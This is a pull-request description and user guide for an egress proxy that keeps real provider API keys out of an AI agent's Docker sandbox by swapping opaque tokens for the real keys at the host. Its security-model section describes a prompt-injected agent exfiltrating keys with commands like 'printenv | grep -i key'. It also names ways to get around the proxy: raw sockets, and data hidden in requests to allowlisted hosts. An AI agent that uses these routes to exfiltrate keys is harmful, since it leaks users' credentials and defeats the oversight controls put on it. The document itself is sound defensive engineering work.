Adds a TLS-intercepting egress proxy for remote terminal sandboxes (Docker
v1; Modal/SSH to follow). When enabled, the sandbox holds opaque proxy
tokens; iron-proxy swaps them for real provider API keys at the egress
boundary. Compromising the sandbox leaks tokens that only work from behind
the proxy.
Wraps ironsh/iron-proxy (Apache-2.0, Go binary). Same lazy-install pattern
as the recently merged Bitwarden Secrets Manager integration — pinned
version, SHA-256 verified download into ~/.hermes/bin/iron-proxy, no apt
or sudo required.
Disabled by default. Run `hermes egress setup` to mint tokens and
`hermes egress start` to launch. The Docker backend then automatically
mounts the CA, sets HTTPS_PROXY + CA-bundle env vars, and adds the
host-gateway hostmap.
New surfaces:
hermes egress install — download the pinned iron-proxy binary
hermes egress setup — interactive wizard (supports --from-bitwarden)
hermes egress start — spawn the managed proxy daemon
hermes egress stop — SIGTERM (+SIGKILL after 5s grace)
hermes egress status — binary + config + pid + listening + mappings
hermes egress disable — flip proxy.enabled = false
hermes egress config — print the path to the generated proxy.yaml
Optional Bitwarden integration: `--from-bitwarden` sources the real
upstream credentials from a BSM project at proxy startup, so rotating a
key in the Bitwarden web app propagates to sandboxes on the next proxy
start without touching .env.
Hermes-side scope (v1):
agent/proxy_sources/iron_proxy.py — install + CA + config + lifecycle
hermes_cli/proxy_cli.py — `hermes egress` subcommand tree
hermes_cli/config.py — "proxy:" section in DEFAULT_CONFIG
hermes_cli/main.py — argparse wiring (uses 'egress'
because 'proxy' is the existing
inbound OAuth reverse proxy)
tools/environments/docker.py — CA mount, HTTPS_PROXY, CA-bundle
env vars, --add-host wiring
Hermetic tests cover the full lifecycle: token mint, mapping discovery,
config + mappings I/O, install pipeline (HTTP + tar + checksum all mocked),
subprocess lifecycle (Popen mocked), Docker backend arg builder.
A live E2E test (gated on HERMES_RUN_E2E=1) downloads the real iron-proxy
binary, spawns it, routes a curl request through it against a local fake
upstream, and verifies the Authorization header was swapped from the proxy
token to the real secret value (and the proxy token did NOT leak through
to upstream).
Failures (binary missing, port collision, bad token) never block agent
startup — they emit a warning and continue. The Docker backend refuses to
start a sandbox when proxy.enabled=true but the daemon is dead, unless
proxy.enforce_on_docker is explicitly set to false.
Docs: website/docs/user-guide/egress/{index,iron-proxy}.md
Tests: tests/test_iron_proxy.py (35), tests/test_iron_proxy_e2e.py (1)
10 KiB
Egress credential-injection proxy (iron-proxy)
When Hermes runs your agent inside a remote terminal sandbox — Docker, Modal, SSH — that sandbox normally holds your real upstream API keys (OPENROUTER_API_KEY, OPENAI_API_KEY, etc.). A prompt-injected agent in that sandbox can cat ~/.config/openrouter/auth.json or printenv | grep -i key and exfiltrate them.
The egress proxy fixes this: the sandbox holds opaque proxy tokens, never the real keys. All outbound traffic from the sandbox routes through a local iron-proxy daemon (Apache-2.0, Go) on the host, which terminates TLS and swaps the proxy token for the real credential before forwarding the request upstream. Compromise the sandbox and the attacker walks away with tokens that only work from behind the proxy.
This page covers the Docker backend, which is what v1 ships. Modal, Daytona, and SSH wiring will follow in later releases.
What it is
- A managed
iron-proxysubprocess on the host, lazy-installed into~/.hermes/bin/iron-proxy - A local CA at
~/.hermes/proxy/ca.crtthat the sandbox trusts so iron-proxy can MITM TLS and rewrite headers - A
proxy.yamlconfig at~/.hermes/proxy/proxy.yamllisting the upstream hosts you allow and the secrets-transform mapping - A
mappings.jsonrecording which proxy token corresponds to which real env var
The sandbox gets HTTPS_PROXY=http://host.docker.internal:9090 plus a set of HERMES_PROXY_TOKEN_<ENV_NAME> env vars. The agent code reads those tokens instead of the real API keys. iron-proxy's secrets transform matches the token in the Authorization header and substitutes the real value sourced from its own environment.
What it is not
- It is not the inbound
hermes proxycommand, which is an OAuth aggregator reverse proxy. Different command (hermes egress), different direction. - It does not sit between your local terminal and providers — only between the sandbox and providers.
- It does not rewrite credentials for in-process LLM calls the host process makes. Those continue to use your
.envkeys directly. The threat model is the sandbox, not the host.
Quick start
# 1. Install the iron-proxy binary (pinned version, SHA-256 verified)
hermes egress install
# 2. Run the wizard: generates CA, mints proxy tokens for every provider key
# in your env, writes proxy.yaml.
hermes egress setup
# 3. Start the proxy daemon
hermes egress start
# 4. Check status
hermes egress status
Once running, the Docker terminal backend automatically:
- Mounts
~/.hermes/proxy/ca.crtinto the sandbox at/etc/ssl/certs/hermes-egress-ca.crt - Sets
HTTPS_PROXY,HTTP_PROXY,REQUESTS_CA_BUNDLE,SSL_CERT_FILE,CURL_CA_BUNDLE,NODE_EXTRA_CA_CERTSto make every common HTTP runtime route through the proxy and trust the CA - Adds
--add-host=host.docker.internal:host-gatewayso the sandbox can reach the host-side proxy on Linux (Docker Desktop handles this automatically on macOS/Windows) - Exports one
HERMES_PROXY_TOKEN_<ENV_NAME>per minted mapping
Configuration
The full config lives in ~/.hermes/config.yaml under the proxy: section:
proxy:
# Master switch. When false the feature is a complete no-op — no
# binaries downloaded, no docker mounts added, no subprocess started.
enabled: false
# Tunnel listener port. Sandboxes hit http://host.docker.internal:<port>.
tunnel_port: 9090
# Auto-download the pinned iron-proxy binary on first use.
auto_install: true
# Where iron-proxy looks up the real upstream secrets at egress time.
# env — process env (default). Whatever is in your ~/.hermes/.env
# at proxy-start time is the source of truth.
# bitwarden — refetch from Bitwarden Secrets Manager on each proxy
# restart. Rotation in the BW web app propagates without
# touching .env. Requires `secrets.bitwarden.enabled: true`.
credential_source: env
# When true (default), the Docker backend refuses to start a sandbox if
# the proxy is enabled but not running. Set to false to fall back to the
# legacy "real credentials inside the sandbox" posture when the proxy
# is unavailable.
enforce_on_docker: true
# Extra allowed upstream hosts beyond the bundled defaults.
# Wildcards (`*.foo.com`) are supported. The defaults cover OpenRouter,
# OpenAI, Anthropic, Google, xAI, Mistral, Groq, Together, DeepSeek,
# and Nous Research.
extra_allowed_hosts: []
Bitwarden integration
If you already use Bitwarden Secrets Manager via hermes secrets bitwarden setup, the egress proxy can pull real credentials from there instead of os.environ:
hermes egress setup --from-bitwarden
This sets proxy.credential_source: bitwarden and discovers provider env names from your BW project. Rotating a key in the Bitwarden web app then propagates to your sandboxes on the next hermes egress start — no .env edits, no Hermes restart on the host.
Slash commands
The CLI subcommand tree:
hermes egress install # download the pinned iron-proxy binary
hermes egress setup # interactive wizard
hermes egress setup --tunnel-port N
hermes egress setup --from-bitwarden
hermes egress start # spawn the managed proxy daemon
hermes egress stop # SIGTERM (then SIGKILL after 5s grace)
hermes egress status # binary + config + pid + listening state + mappings
hermes egress status --show-tokens
hermes egress disable # flip proxy.enabled = false
hermes egress config # print the path to proxy.yaml for debugging
How it works
┌──────────────┐ ┌──────────────┐ ┌─────────────┐
│ Docker │ CONNECT / │ iron-proxy │ HTTPS w/ │ OpenRouter │
│ sandbox ├──────────────▶│ (host:9090) ├───────────────▶│ / OpenAI / │
│ │ HTTP forward │ │ real API key │ Anthropic … │
│ has: │ w/ proxy tok │ mints leaf │ │ │
│ - proxy tok │ in Auth hdr │ cert from CA │ │ │
│ - CA cert │ │ matches token │ │ │
│ - HTTPS_PROXY│ │ swaps secret │ │ │
└──────────────┘ └──────────────┘ └─────────────┘
│
│ structured audit log
▼
~/.hermes/proxy/iron-proxy.log
- Sandbox makes an HTTPS request, e.g.
POST https://openrouter.ai/v1/chat/completionswithAuthorization: Bearer hermes-proxy-openrouter-…(the proxy token, not the real key). - Because
HTTPS_PROXYis set, the request goes to iron-proxy as a CONNECT tunnel. - iron-proxy checks the allowlist.
openrouter.aiis allowed. - iron-proxy mints a leaf cert signed by our CA for
openrouter.ai, terminates the TLS connection, inspects the request. - The
secretstransform matches the proxy-token string in theAuthorizationheader and substitutes the realOPENROUTER_API_KEYvalue, sourced from iron-proxy's own environment. - Request is re-encrypted and forwarded to OpenRouter.
- Every request is logged as a structured JSON entry to
~/.hermes/proxy/iron-proxy.log.
A request to a non-allowlisted host (e.g. https://attacker.example.com/leak?key=...) is rejected with HTTP 403 before any bytes leave the host.
Security model
What this protects against:
- Prompt-injected agent in a Docker sandbox reading
printenv/ credential files and exfiltrating real keys. - Compromised dependency in the sandbox phoning home to an arbitrary host — default-deny allowlist blocks unknown destinations.
- Agent dialing cloud metadata endpoints (
169.254.169.254) — iron-proxy denies these by default viaupstream_deny_cidrs.
What it does NOT protect against:
- A compromised host process. If the agent process itself is compromised, real keys in the host's
~/.hermes/.envare exposed regardless. This is a defense-in-depth feature for sandbox compromise, not host compromise. - Sandbox processes that bypass
HTTPS_PROXYby using a raw socket or a non-standard env var. The proxy can't intercept what doesn't route to it. - Allowlisted-host data exfiltration. If
api.openai.comis allowed, an agent could embed exfil data in a request body to that host. The audit log captures this but doesn't prevent it.
Failure modes
- Binary not installed,
auto_install: true— firsthermes egress setuporhermes egress startdownloads it. SHA-256 verified against the upstreamchecksums.txt. - Binary not installed,
auto_install: false—startfails with a clear message pointing to manual install. enabled: truebut proxy not running — withenforce_on_docker: true(default), Docker sandbox creation refuses to start with an explanatory error. Withenforce: false, it falls back to direct outbound with real creds and logs a warning.- Port collision — iron-proxy exits immediately;
hermes egress startreports the last 20 log lines and fails with non-zero exit. - Upstream-host denied — sandbox gets HTTP 403 from the proxy with a body explaining which host wasn't allowed. The agent sees the error and reports it.
- Cloud metadata IP (169.254.169.254) requested — refused by
upstream_deny_cidrsregardless of allowlist.
Limitations (v1)
- Docker backend only. Modal, Daytona, and SSH wiring will follow in separate PRs.
- Only bearer-token providers (OpenRouter, OpenAI, Anthropic-via-OR, etc.) are wired through the
secretstransform out of the box. Providers with custom auth (x-api-key, query params, signatures) need per-provider rules. - No native Windows binary upstream. Run on Linux/macOS or inside WSL.
- The CA is a 10-year self-signed cert on first generation. Rotation requires
openssl genrsa ...by hand (or wait for a follow-up that addshermes egress rotate-ca).
See also
- Upstream project: https://github.com/ironsh/iron-proxy
- Upstream docs: https://docs.iron.sh/
- Bitwarden integration:
hermes secrets bitwarden